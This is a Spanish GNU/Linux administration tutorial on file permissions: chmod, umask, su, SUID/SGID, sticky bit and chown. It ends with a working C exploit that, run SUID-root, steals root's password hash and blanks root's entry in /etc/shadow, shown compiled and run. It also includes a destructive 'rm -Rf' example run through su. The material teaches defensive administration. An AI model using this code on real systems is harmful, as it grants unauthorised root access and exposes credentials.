Administración básica de GNU/Linux (2)
Permisos en GNU/Linux
José Angel de Bustos Pérez
Copyright (c) 2.003 José Angel de Bustos Pérez [email protected]

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".

Permisos en GNU/Linux

Para evitar que otros usuarios accedan a nuestros ficheros en los sistemas UNIX se establecen permisos a todos los ficheros para indicar quien y cómo puede acceder a esos ficheros.

Estos permisos juegan un papel importante ya que en los sistemas UNIX todo son ficheros. Cuando se escribe algo en el monitor para el sistema operativo se esta escribiendo en un fichero, de igual forma cuando se leen las pulsaciones del teclado el sistema operativo esta leyendo un fichero, el correspondiente al teclado.

Gracias a este tipo de abstracción tenemos un sistema altamente configurable.

Almacenamiento de permisos

Los permisos de los ficheros se almacenan como un entero de doce bits y se dividen en cuatro ternas:

  • La terna más significativa se utiliza para especificar unos permisos especiales que son los permisos SUID, SGID y el Sticky bit.

  • La terna siguiente se utiliza para especificar los permisos del propietario del fichero.

  • La terna siguiente se utiliza para especificar los permisos que tiene el grupo del propietario sobre el fichero.

  • La terna menos significativa se utiliza para especificar los permisos que tendrán el resto de usuarios.


Tipos de permisos

Basicamente los permisos que podemos encontrar son:

  • Ejecución, se denota como "x".

  • Escritura, se denota como "w".

  • Lectura, se denota como "r".

Estos permisos se comportan de forma diferente dependiendo de si se aplican a un fichero normal o a un directorio.

El permiso de ejecución

El comportamiento de este permiso es el siguiente:

  • Si un fichero normal tiene activado este permiso significa que podremos ejecutarlo. Este permiso es util para binarios y/o scripts, es decir programas.

  • Si un directorio tiene activado este permiso significa que podremos entrar en ese directorio mediante cd.

El permiso de escritura

El comportamiento de este permiso es el siguiente:

  • Si un fichero normal tiene activado este permiso significa que podremos modificar el contenido de ese fichero.

  • Si un directorio tiene activado este permiso significa que podremos modificar el contenido de un directorio. Modificar el contenido de un directorio significa poder añadir y/o borrar ficheros dentro de ese directorio. Para poder borrar ficheros necesitamos tener permisos de escritura sobre ellos.

El permiso de lectura

El comportamiento de este permiso es el siguiente:

  • Si un fichero normal tiene activado este permiso significa que podremos leer el contenido del fichero.

  • Si un directorio tiene activado este permiso significa que podremos leeer el contenido del fichero, por ejemplo mediante el uso de ls.


Comprobación de los permisos de un fichero

Para comprobar los permisos que tiene un fichero basta con hacer un ls -l:

[root@debian root]# ls -l
-r-xr--r--    1 jose     users     1362797 may 26 12:05 Adm-Basica.ps
[root@debian root]# 

En este caso tendríamos que en el directorio del superusuario sólo hay un fichero y vemos la salida nos produce siete columnas:

  • La primera columna nos muestra los permisos del fichero.

  • La segunda columna nos muestra las referencias que hay a ese fichero.

  • La tercera columna nos muestra el propietario del fichero.

  • La cuarta columna nos muestra el grupo del propietario del fichero (grupo activo del propietario en el momento de la creación del fichero).

  • La quinta columna nos indica el tamaño del fichero (por defecto en bytes).

  • La sexta columna nos muestra la fecha de la última modificación.

  • La septima columna nos muestra el nombre del fichero.

Los permisos los podemos ver en la primera columna y vienen representados (de izquierda a derecha) por diez caracteres:

  1. El primer carácter no es un permiso, nos indica el tipo de fichero que es:

    • -, indica que es un fichero normal.

    • d, indica que es un directorio.

    • s, indica que es un socket.

    • l, indica que es un enlace símbolico.

    • c, indica que es un dispositivo carácter como un monitor o una impresora.

    • d, indica que es un dispositivo de bloques como un disco duro.

  2. El segundo carácter indica el permiso de lectura para el propietario.

  3. El tercer carácter indica el permiso de escritura para el propietario.

  4. El cuarto carácter indica el permiso de ejecución para el propietario.

  5. El quinto carácter indica el permiso de lectura para el grupo del propietario.

  6. El sexto carácter indica el permiso de escritura para el grupo del propietario.

  7. El septimo carácter indica el permiso de ejecución para el grupo del propietario.

  8. El octavo carácter indica el permiso de lectura para el resto de usuarios que no pertenecen al grupo del propietario.

  9. El noveno carácter indica el permiso de escritura para el resto de usuarios que no pertenecen al grupo del propietario.

  10. El decimo carácter indica el permiso de ejecución para el resto de usuarios que no pertenecen al grupo del propietario.

Cuando en cualquiera de los permisos aparece un - significa que ese permiso no está concedido.


Cómo cambiar los permisos de los ficheros

Lo primero indicar que las únicas personas que pueden cambiar los permisos de un fichero son el propietario y el superusuario, como cabría esperar.

Para cambiar los permisos de un fichero se utiliza el comando chmod. Una cosa a tener en cuenta es que los permisos sólo se cambiaran a los ficheros dentro del directorio que especifiquemos y no dentro de los subdirectios que se encuentren dentro del subdirectorio especificado.

Si los quisieramos cambiar en todos los subdirectorios contenidos en el directorio especificado debemos utilizar el flag -R.

Cambiando los permisos de forma intuitiva

Podemos cambiar los permisos de forma intuitiva, esta es la forma más fácil para usuarios no familiarizados con sistemas UNIX.

La razón de decir que es una forma intuitiva es porque los usuarios ya experimentados lo hacen especificando los permisos en notación octal.

Para asignar permisos podemos utilizar:

  • u, se utiliza para especificar los permisos para el propietario del fichero.

  • g, se utiliza para especificar los permisos para el grupo del propietario del fichero.

  • o, se utiliza para especificar los permisos de usuarios que no estan en el grupo del propietario.

  • a, se utiliza para establecer permisos en todas las categorís anteriores.

  • =, se utiliza para establecer unos permisos determinados para una categoría.

  • +, se utiliza para añdir permisos a los ya existentes a una categoría.

  • -se utiliza para eliminar permisos a los ya existentes a una categoría.

Veamos unos ejemplos:

[bender@debian bender]$ ll
total 24
-r--r--r--    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-rw-r-----    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$ chmod u+w,o-r agenda ; ll
total 24
-rw-r-----    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-rw-r-----    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$ chmod a=r robopilinguis ; ll
total 24
-rw-r-----    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-r--r--r--    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$

El usuario bender ha hecho lo siguiente:

  1. Ha añadido el permiso de escritura para el propietario, el mismo, y le ha quitado el permiso de lectura a todos los usuarios que no estan en su grupo para el fichero agenda.

  2. Ha establecido que el fichero robopilinguis tenga unicamente permisos de lectura para todo el mundo.

Podemos añadir el flag -v y nos informará del resultado:

[bender@debian bender]$ ll
total 24
-r--r--r--    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-rw-r-----    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$ chmod g-r,o-r -v robopilinguis
el modo de `robopilinguis' cambia a 0400 (r--------)
[bender@debian bender]$  ll
total 24
-rw-r-----    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-r--------    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$ 

Cambiar los permisos en octal

La forma que hemos visto es muy intuitiva, pero es muy tediosa. Tenemos que escribir muchas cosas.

Evitar esto podemos hacerlo indicando los permisos como un número en octal. La razón es que cada categoría esta representada con tres caracteres. y para especificar que permisos permitimos pondremos un uno y los que no un cero y con tres digitos en binario se pueden representar ocho números, por eso octal.

Esta es la forma en la que la mayoría de la gente establece sus permisos:

Tabla 1. Estableciendo permisos en octal

 PropietarioGrupoResto
Permisosrwxrwxrwx
Binario111101100
Octal754

Para establecer estos permisos:

[bender@debian bender]$ ll
total 24
-r--r--r--    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-rw-r-----    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$ chmod 754 robopilinguis
[bender@debian bender]$  ll
total 24
-rw-r-----    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-rwxr-xr--    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$ 

Permisos por defecto (máscara)

Cuando creamos un fichero ¿qué permisos se le asignan?

Podemos comprobarlo con el comando umask:

[bender@debian bender]$ umask
0022
[bender@debian bender]$

Los permisos estan en octal, pero con una salvedad, en lugar de representar por un 1 los permisos concedidos al fichero se representan con un 0 los permisos concedidos.

Otra cosa que llama la atención es que cuando vimos los permisos y su tratamiento en octal sólo había tres números, y ahora tenemos cuatro. Eso es porque existen unos permisos especiales, que luego veremos. El primer cero que aparece hace referencia a esos permisos.

Para ver los permisos con los que se crean los ficheros por defecto de forma más clara:

[bender@debian bender]$ umask -S
u=rwx,g=rx,o=rx
[bender@debian bender]$

Hay que tener en cuenta que si creamos un fichero que no es un ejecutable no se le darán los permisos de ejecución, aunque esten especificados en el UMASK.

Los permisos con los que se crean los ficheros por defecto reciben el nombre de m´scara.

Estableciendo la máscara en octal

La forma de establecer la máscara es poner a cero los permisos que se quieren conceder por defecto y a uno los que no:

Tabla 2. Estableciendo la máscara en octal

 PropietarioGrupoResto
Permisosrwxrwxrwx
Binario000010110
Octal026

Para establecer una nueva máscara:

[bender@debian bender]$ umask -S
u=rwx,g=rx,o=rx
[bender@debian bender]$ umask 026
[bender@debian bender]$ umask -S
u=rwx,g=rx,o=x
[bender@debian bender]$ 

Aviso

Si cambiamos la máscara y finalizamos sesión esos cambios se perderán y tendremos que volver a cambiar la máscara ya que se pondrá la que tenga por defecto el sistema. Una forma de hacerlo sería estableciendo la máscara en nuestros perfiles que estarán en los ficheros .bash_profile o .bashrc si estamos utilizando la shell bash.


El comando newgrp

Muchas veces un usuario pertenece a varios grupos, por ejemplo a los grupos contable y program. Puede darse el caso en el que un usuario se dedique a realizar tareas administrativas, como por ejemplo contabilidades, pero que de vez en cuando necesite crear y compilar un programa utilizando uno de los muchos lenguajes de programación existentes para GNU/Linux.

Es altamente recomendable el dar permisos de ejecución sobre los compiladores del sistema unicamente a las personas que necesiten usarlos, evitando de esta manera que nuestros usuarios se bajen un exploit, lo compilen y se dediquen a probarlo en nuestra máquina. También para evitar que un atacante que haya podido hacerse con una cuenta en el sistema tenga acceso a los compiladores, al menos le será más complicado ya que no todos los usuarios tienen privilegios para el uso de compiladores.

Volviendo al caso anterior, como nuestro usuario se dedica principalmente a realizar contabilidades su grupo por defecto será contable, pero cuando necesite compilar un programa que haya creado para calcular la conversión de Pesetas a Euros, por ejemplo, no podrá compilarlo ya que el compilador que necesita utilizar unicamente tendrán permisos de ejecución para el dueño y para aquellos que pertenezcan al grupo de programadores program.

Aunque nuestro usuario pertenece a ambos grupos no podrá, a priori, utilizar el compilador ya que su grupo por defecto es contable. Para ello necesitamos cambiar de grupo utilizando el comando newgrp:

[bender@debian bender]$ newgrp program

De esta forma el grupo del usuario bender será a partir de ese momento program y todos sus accesos serán en función de dicho grupo. Si el grupo program tuviera establecida una contraseña sería solicitada y dicha contraseña estaría almacenada en /etc/group o si se tiene activado el shadowing de contraseñas en /etc/gshadow.

Aviso

Si intentamos cambiar a un grupo al que no pertenecemos nos pedirá la contraseñ de dicho grupo, aunque no la tengamos establecida para ese grupo.

Eso suele pasar al modificar con usermod las propiedades de un usuario. Si añadimos a un usuario a un grupo con dicho comando tendremos que especificarle todos y cada uno de los grupos a los que queramos que pertenezca y no sólo el grupo al que queremos añadirle:

[root@debian root]# usermod -g users -G users,contable,program
[root@debian root]# 

Con esto hemos hecho que el usuario bender tenga como grupo por defecto users y que además pertenezca a los grupos users, contable, program. El grupo por defecto hay que ponerlo también en los grupos suplementarios.

Si no lo hacemos de esta manera, no nos actualizará los grupos y dejaremos de pertenecer a alguno de ellos, y por eso nos pedirá la contraseña del grupo aunque dicho grupo no la tenga establecida, no nos reconocerá como miembros del grupo.


El comando su

Este comando nos permite ejecutar una shell como otro usuario con sus privilegios dentro del sistema. Imaginemos que estamos en una sesión como el usuario bender y queremos abrir una sesión como usuario lila ya que el usuario lila tiene unos privilegios que el usuario bender no tiene:

[bender@debian bender]$ su lila
Password:
[lila@debian bender]$ whoami
lila
[lila@debian bender]$ pwd
/home/bender
[lila@debian bender]$ 

Utilizando la misma conexión hemos asumido la identidad de lila y podemos acceder a los recursos del sistema que tenga acceso lila, para ello no hemos necesitado realizar otra conexión al sistema utilizando SSH o telnet.

Una vez que hayamos terminado la tarea que queremos ralizar con el usuario del que hemos asumido su identidad, lila, para volver a nuestra identidad inicial, bender, tendremos que terminar sesión y lo podremos hacer pulsando CTRL + D o tecleando exit:

[lila@debian bender]$ exit
[bender@debian bender]$ whoami
bender
[bender@debian bender]$ 

Una cosa a tener en cuenta es que al cambiar la identidad con su no cambia el directorio, es decir no entramos al directorio de trabajo del usuario al que hemos "suplantado", eso es debido a que no hemos cargado sus perfiles, es decir la información de sus ficheros de "profile" que estará presente en los archivos .bash_profile o .bashrc, si usamos la shell BASH, dentro de su directorio personal. Si quisieramos cargarlos tendremos que anteponer el símbolo "-" al nombre del usuario:

[bender@debian bender]$ su - lila
Password:
[lila@debian lila]$ whoami
lila
[lila@debian lila]$ pwd
/home/lila
[lila@debian lila]$ 

De esta forma abriamos iniciado sesión de la misma forma que si lo hubieramos hecho mediante SSH, telnet o iniciando sesión directamente en una consola del equipo.

Aviso

En caso de no suministrarle ningún nombre de usuario a su se entenderáa que se intenta asumir la identidad del usuario root.

Sugerencia

No se suele trabajar nunca con el usuario root ya que este usuario tiene poder absoluto dentro del sistema y se podría dañar al sistema borrando algún fichero vital. Por ello se trabaja normalmente con usuarios sin privilegios y cuando sea necesario utilizar los privilegios del root se asumirá su identidad con su.

Sugerencia

Si lo que queremos es únicamente ejecutar un comando con los privilegios del usuario a suplantar lo podemos hacer de la siguiente forma:

[bender@debian bender]$  su lila -c "rm -Rf /home/lila"
Password:
[bender@debian bender]$ 

El usuario bender habría borrado todo el contenido del directorio /home/lila/. Este es uno de los motivos por los que NUNCA SE DEBEN DAR NUESTRAS CLAVES DE ACCESO EN UN SISTEMA.


Permisos especiales

Hemos visto los permisos que se pueden asignar a los ficheros, pero no habiamos visto unos permisos especiales, la terna más significativa.

El permiso SUID

Hay veces que es necesario que un programa se ejecute con los privilegios que tiene su propietario dentro del sistema y no del usuario que lo está ejecutando.

Un ejemplo de esto es el comando passwd. Este comando establece los passwords de cada usuario dentro del sistema, pero para establecerlos necesitamos los privilegios del root para poder almacenarlos en las bases de datos del sistema (/etc/passwd, /etc/shadow).

Es práctica habitual, aunque a veces no muy recomendable, el permitir a los usuarios que se cambien sus contraseñas de acceso al sistema.

La forma de hacerlo es:

  • Si no se especifica un usuario se cambia la contaseña del usuario que lo esta ejecutando:

    [bender@debian bender]$ passwd
    Changing password for user bender.
    Changing password for bender
    (current) UNIX password:
    New password:
    Retype new password:
    passwd: all authentication tokens updated successfully.
    [bender@debian bender]$ 

    Aviso

    Normalmente algunos usuarios abusan cambiando su contraseña y cuando no pueden acceder al sistema se suelen quejar al administrador de que el sistema se ha vuelto loco y no les reconoce el password, no dandose cuenta de que son ellos los que no se acuerdan del password correcto.

  • Si se le especifica el nombre de un usuario cambia la contraseña del usuario especificado:

    [bender@debian bender]$ passwd lila
    passwd: Only root can specify a user name.
    [bender@debian bender]$ 

    Unicamente el usuario root puede establecer las contraseñas del resto, como era de esperar.

Tenemos un problema y es que al ejecutar passwd para almacenar la nueva contraseña se debe almacenar en ficheros en los que sólo el root puede escribir. Es necesario asumir la identidad del root para hacerlo ya que cuando ejecutamos un comando no importa quién sea el propietario se ejecutará con nuestros privilegios.

Utilizando el comando su podríamos hacerlo, pero esto presenta un problema y es que entonces se podría lanzar cualquier comando con los privilegios de dicho usuario y si ese usuario es el root tendríamos un gravísimo problema de seguridad.

La forma en la que el comando passwd lo ha hecho es que tiene activado un permiso especial, el permiso SUID. Cuando un programa tiene activado este permiso se ejecuta con los privilegios de su propietario y no con los de la persona que lo ejecuta.

SUID es un acrónimo de Set User IDentity.

Aviso

Hay que tener cuidado con este permiso, especialmente si el programa pertenece al usuario root, ya que todo lo que haga el programa se hara con sus privilegios. Este tipo de permisos puede inducir problemas de seguridad, como ya veremos.

El comando passwd pertenece al usuario root y tiene activado el permiso SUID, por este motivo cuando lo ejecutamos se ejecuta con privilegios de root y puede escribir en los ficheros /etc/passwd y/o /etc/shadow:

[bender@debian bender]$ ll /usr/bin/passwd
-r-s--x--x    1 root     root        16336 feb 13 22:19 /usr/bin/passwd
[bender@debian bender]$ 

Podemos ver quiene es el propietario del comando passwd y si nos fijamos en el permiso de ejecución del propietario aparece una "s" en lugar de una "x", esto significa que tiene activado el permiso SUID y se ejecutara con los privilegios que tenga en el sistema su propietario, en este caso con los privilegios de root.

Si echamos un vistazo a los ficheros /etc/passwd y /etc/shadow:

[bender@debian bender]$ ls -l /etc/passwd
-rw-r--r--    1 root     root         1719 jun  3 10:12 /etc/passwd
[bender@debian bender]$ ls -l /etc/shadow
-r--------    1 root     root         1263 jun  3 11:24 /etc/shadow
[bender@debian bender]$ 

Vemos que unicamente el usuario root puede escribir en ellos. Por este motivo a la hora de actualizar las contraseñs es necesario tener privilegios de root.

Estableciendo el permiso SUID

Supongamos que el comando passwd no tiene activado el permiso SUID:

[bender@debian bender]$ passwd
Changing password for user bender.
passwd: Authentication token manipulation error
[bender@debian bender]$ 

Se produce un error ya que al no tener activado el permiso SUID se ejecuta con los privilegios del usuario bender, que no puede escribir en los ficheros /etc/passwd y /etc/shadow.

Para activar este permiso tendremos que anteponer un "4" a los permisos normales:

[root@debian root]# ll /usr/bin/passwd
-r-x--x--x    1 root     root        16336 feb 13 22:19 /usr/bin/passwd
[root@debian root]# chmod 4511 /usr/bin/passwd
[root@debian root]# ll /usr/bin/passwd
-r-s--x--x    1 root     root        16336 feb 13 22:19 /usr/bin/passwd
[root@debian root]# 

Aviso

Este permiso sólo afecta a los ficheros binarios y no a los scripts (con la excepción de los scripts de PERL).

Aviso

Este permiso no tiene ningún efecto sobre los directorios.

Aviso

Si el usuario root ejecuta un fichero perteneciente a otro usuario con este bit activado se ejecutará con los privilegios del usuario propietario y no con los del root.

El permiso SGID

SGID es un acrónimo de Set Group IDentity.

El funcionamiento de este permiso es igual que el SUID sólo que el comando se ejecutará con los privilegios del grupo del propietario en lugar de los privilegios del propietario.

Estableciendo el permiso SGID

Para activar este permiso tendremos que anteponer un "2" a los permisos normales:

[root@debian root]# ll /usr/bin/passwd
-r-x--x--x    1 root     root        16336 feb 13 22:19 /usr/bin/passwd
[root@debian root]# chmod 2511 /usr/bin/passwd
[root@debian root]# ll /usr/bin/passwd
-r-x--s--x    1 root     root        16336 feb 13 22:19 /usr/bin/passwd
[root@debian root]# 

Aviso

Este permiso sólo afecta a los ficheros binarios y no a los scripts (con la excepción de los scripts de PERL).

Aviso

Si el usuario root ejecuta un fichero perteneciente a otro usuario con este bit activado se ejecutará con los privilegios del grupo del usuario propietario y no con los del grupo del root.

El permiso SGID y los directorios

Este permiso afecta a los directorios de una forma especial.

Cuando un directorio tiene activado este permiso todos los ficheros que se creen dentro del directorio perteneceran al grupo del propietario de dicho directorio, no importa el grupo del usuario que lo cree o que el usuario que cree el fichero no pertenezca al grupo del propietario.

Esto es útil cuando se trabaja en directorios compartidos. Normalmente un determinado grupo de usuarios pueden estar desarrollando un proyecto y trabajar en un directorio común. Para evitar problemas con los permisos, ya que cada usuario puede pertenecer a varios grupos y puede que cree el fichero bajo un grupo que no sea el común y esto afectará al resto de usuarios del grupo del proyecto.

De esta forma se asegura que siempre los ficheros del directorios petenezcan al grupo del proyecto y los usuarios no tengan que andar cambiando de grupo.

El Sticky bit

Un programa con este permiso activado permanece en memoria después de terminar su ejecución, esto hará que la proxima vez que lo ejecutemos se ejecute más rápido ya que está en memoria, pero tiene un coste asociado y es que se pierde memoria ya que el programa se queda en la memoria al terminar la ejecución y esto puede saturar la memoria de nuestro sistema.

Los ficheros que tienen este permiso activado mostrarán una "t" en el permiso de ejecución del resto de usuarios, última "x":

[bender@debian bender]# find /root -perm +1000 -exec ls -l {} \;
-rwxr-xr-t    1 root     root         1581 jun  5 12:09 /root/dd
[bender@debian bender]# 

El Sticky bit y los directorios

El Sticky Bit afecta a los directorios de una forma especial.

Este bit se utiliza para tener una mayor seguridad sobre los ficheros contenidos en él. Si un directorio tiene activado ese bit no importa los permisos que tengan los ficheros en él contenidos, los únicos usuarios que podrán borrar o renombrar ficheros serán el propietario del fichero, el propietario del directorio o el root.

Esta característica permite que dentro de un directorio todos los usuarios, con acceso, puedan cambiar el contenido de los ficheros. Pero que ninguno, excepto los anteriormente citados, pueda borrar o cambiar el nombre de los ficheros.


Regalando ficheros

Podemos regalar ficheros, siempre y cuando estos nos pertenezcan.

Esto lo podemos hacer con el comando chown. Imaginemos que el usuario bender quiere dar un fichero al usuario fry:

[bender@debian bender]$ ls -l agenda
-rwxr-xr-x    1 bender     users        2273 jun 29 17:39 agenda
[bender@debian bender]$ chown fry. agenda
[bender@debian bender]$ ls -l agenda
-rwxr-xr-x    1 fry     users        2273 jun 29 17:39 agenda
[bender@debian bender]$ 

El regalar un fichero significa el darle la propiedad a un determinado usuario. A partir de ese momento ya no tendremos la propiedad del fichero y no podremos tener acceso a dicho fichero a menos que su nuevo propietario nos autorice.

Muy probablemente si intentamos ejecutar chown como un usuario normal nos pase algo parecido a esto:

[bender@debian bender]$ chown fry. agenda
chown: cambiando el propietario de `agenda': Operación no permitida
[bender@debian bender]$ 

Ello es debido a que es peligrosísimo el permitir a los usuarios regalar ficheros. Por este motivo en la mayoría de los sistemas los usuarios normales no pueden regalar ficheros al resto de usuarios.

Problemas de seguridad con chown

Veamos un ejemplo un poco más práctico sobre la peligrosidad del comando chown.

El siguiente programa lee el fichero /etc/shadow y lo reemplaza pero dejando el campo del password del root en blanco y también crea el fichero oldPass donde almacena el hashing de la contraseña del root. Esto hace que el usuario root no necesite contraseña para acceder al sistema.

/* exploit-SUID.c */

#include <stdio.h>

/* SE ASUME QUE EL FICHERO /etc/shadow TIENE LOS
   PERMISOS 640, EN CASO CONTRARIO HABRA QUE 
   MODIFICARLO PARA QUE CAMBIE LOS PERMISOS DE 
   DICHO FICHERO Y UNA VEZ SOBREESCRITO 
   RESTAURARLOS */

/* TAMAÑO DEL FICHERO A LEER, LO PODEMOS 
   CONOCER HACIENDO ls -l /etc/shadow */

#define SIZE 678

/* EL CAMPO DEL PASSWORD SON 34 CARACTERES 
   CON shadow ACTIVADO */

#define LONGPASS 34

int main (void) { /* INICIO FUCION main */

  char chrTarget[] = "/etc/shadow",
    chrRootPassFile[] = "oldPass",
    chrFileOriginal[SIZE],
    chrFileNew[SIZE-LONGPASS],
    chrRootPass[LONGPASS]; 

  int i,
    j = 0,
    k = 0,
    intCharLeidos;

  FILE *ptFile;

  /* ABRIMOS EL FICHERO PARA SOLO LECTURA */

  ptFile = fopen(chrTarget, "r");

  /* LEEMOS EL FICHERO */

  intCharLeidos = fread(chrFileOriginal, sizeof(char), SIZE, ptFile);
  
  /* CERRAMOS EL FICHERO */

  fclose(ptFile);

  /* CREAMOS EL NUEVO FICHERO DE PASSWORDS */

  for(i=0;i<intCharLeidos;i++) { /* INICIO PRIMER for */

    /* PASSWORD DEL ROOT EN EL FICHERO /etc/shadow */

    if ( i >= 5 && i <= 38 ) { /* INICIO if */

      chrRootPass[j++] = chrFileOriginal[i];
      continue;

    } /* FINAL if */

    /* FICHERO /etc/shadow SIN PASSWORD PARA EL root */

    chrFileNew[k++] = chrFileOriginal[i];

  } /* FINAL PRIMER for*/

  /* ESCRIBIMOS EL PASSWORD DEL root EN UN FICHERO APARTE */

  ptFile = fopen(chrRootPassFile,"w");
  fwrite(chrRootPass, sizeof(char), LONGPASS, ptFile);

  /* CERRAMOS EL FICHERO */

  fclose(ptFile);

  /* SOBREESCRIMOS EL FICHERO /etc/shadow */

  ptFile = fopen(chrTarget, "w");
  fwrite(chrFileNew, sizeof(char), SIZE-LONGPASS, ptFile);

  /* CERRAMOS EL FICHERO */

  fclose(ptFile);

  return 0;

} /* FINAL FUNCION main */

Si lo compilamos e ejecutamos:

[bender@debian explot]$ make exploit-SUID
cc     exploit-SUID.c   -o exploit-SUID
[bender@debian exploit]$ ./exploit-SUID
Violación de segmento
[bender@debian exploit]$ 

La explicación es sencilla, un usuario normal no puede acceder al fichero /etc/shadow.

Supongamos que en nuestro sistema se pueden regalar ficheros con el comando chown:

[bender@debian explot]$ make exploit-SUID
cc     exploit-SUID.c   -o exploit-SUID
[bender@debian exploit]$ chmod 4755 exploit-SUID
[bender@debian exploit]$ ls -l
total 12
-rwsr-xr-x    1 jose     users        5550 ago 17 12:10 exploit-SUID
-rw-r--r--    1 jose     users        1764 ago 17 11:52 exploit-SUID.c
[bender@debian exploit]$ chown root. exploit-SUID
[bender@debian exploit]$ ls -l
total 16
-rwsr-xr-x    1 root     root         5550 ago 17 12:10 exploit-SUID
-rw-r--r--    1 jose     users        1764 ago 17 11:52 exploit-SUID.c
-rw-r--r--    1 jose     root           34 ago 17 12:21 oldPass
[bender@debian exploit]$ ./exploit-SUID
[bender@debian exploit]$ ls -l
[bender@debian exploit]$ cat oldPass
$1$LLk54kWX$z1fO/T3pzzFk/CjE7pU8M.
[bender@debian exploit]$ 

Si ahora abrimos una nueva consola e intentamos hacer login como root entraremos en el sistema ya que el usuario root no tiene contraseña y cualquiera puede logearse como root. Como nuestro exploit ha realizado una copia del password antiguo del root después de nuestra pequeña incursión podemos restaurar el fichero /etc/shadow y quedará como antes de la incursión, con la excepción de la fecha de la última modificación del fichero /etc/shadow.

 

Por motivos como este NUNCA se debe permitir a los usuarios normales que puedan regalar ficheros a otros usuarios.

 

Si por algún motivo es necesario que los usuarios puedan regalarse ficheros, como por ejemplo en un entorno de desarrollo y/o investigación el root tendrá que activar el bit SUID del comando chown para que dicho comando se ejecute con los privilegios de su propietario, el root.

 

Si tuviéramos que activar el bit SUID para el comando chown y estuviéramos en un entorno con riesgo, es decir la máquina es accesible desde internet, o hay terminales desde los cuales se puede acceder a la máquina en cuestión que son de acceso público sería una buena idea el cogerse los fuentes del comando chown y modificarlo para que los usuarios normales no pudieran regalar ficheros con los permisos SUID, SGID y Sticky Bit y también sería buena idea que no dejara regalar ficheros al usuario root. Notificando al usuario root cualquier intento de este tipo y desde que cuenta de usuario se intento.

Hosted by www.Geocities.ws

1